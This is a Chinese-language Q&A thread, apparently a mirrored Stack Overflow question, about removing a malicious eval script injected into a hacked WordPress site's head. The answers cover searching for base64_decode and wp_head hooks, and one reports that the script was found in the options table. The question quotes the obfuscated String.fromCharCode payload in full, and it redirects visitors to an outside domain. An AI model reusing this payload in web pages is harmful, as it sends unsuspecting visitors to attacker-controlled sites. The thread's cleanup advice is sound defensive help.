如何删除在header.php中找不到的恶意eval脚本

时间:2019-05-04 08:35:28

标签: php wordpress eval

我的WordPress网站已被黑客入侵,我只能通过查看索引页面的源来查看恶意脚本:“ view-source:mydomain.com”

问题是,我在我的任何WordPress php文件中都找不到此代码的位置。我遍历了所有核心文件(header.php,htaccess等),但找不到它。

代码位于关闭/ head标记之前的位置:

<script language=javascript>eval(String.fromCharCode(32, 32, 118, 97, 114, 32, 32, 32, 116, 100, 32, 61, 32, 49, 59, 32, 118, 97, 114, 32, 122, 122, 103, 32, 61, 32, 50, 59, 32, 118, 97, 114, 32, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 108, 101, 102, 116, 111, 117, 116, 115, 105, 100, 101, 109, 121, 112, 114, 111, 102, 105, 108, 101, 46, 105, 110, 102, 111, 47, 117, 112, 116, 121, 112, 101, 63, 122, 103, 61, 49, 38, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 114, 101, 112, 108, 97, 99, 101, 40, 99, 41, 59, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 99, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 99, 59));</script> 

我知道这是一个恶意重定向,但不知道如何处理。我最初是通过完全重新安装我的网站(因此丢失了一些帖子)解决此问题的,并且作为菜鸟尽力解决了这个问题,然后再提出此问题。

非常感谢您的帮助!

编辑:找到以下内容,确保相关:

`

WPSEO_Frontend类{

function __construct() {

    wp_reset_query();

    $options = get_wpseo_options();

    add_action('wp_head', array(&$this, 'head'), 1, 1);
    remove_action('wp_head', 'rel_canonical');

    add_filter( 'wp_title', array(&$this, 'title'), 10, 3);
    add_filter( 'thematic_doctitle', array(&$this, 'force_wp_title') );
    add_filter( 'headway_title', array(&$this, 'force_wp_title') );

    add_action('wp',array(&$this,'page_redirect'),99,1);`

2 个答案:

答案 0 :(得分:0)

很有可能<script>块的输出也会在源php文件中进行编码,因此您将无法从上方找到代码片段,而在某些情况下会找到base64编码的字符串您的wordpress文件。就像Alexandru建议的那样,您可以在所有WP-Files内容中搜索base64_decode,并仔细检查情况。但是,由于理论上如何屏蔽字符串存在无限的可能性,因此这很容易变得麻烦。

另一种方法可能是搜索wp_head钩子(->搜索'add_action('wp_head',该钩子通常用于将代码注入网站的header部分。也许您找到了被调用并负责注入上面的输出。如果您发现任何奇怪的代码,请在此处发布。

答案 1 :(得分:0)

代码已插入WordPress的选项表(sgcgoogleanalytic)。我已成功从表中删除了脚本。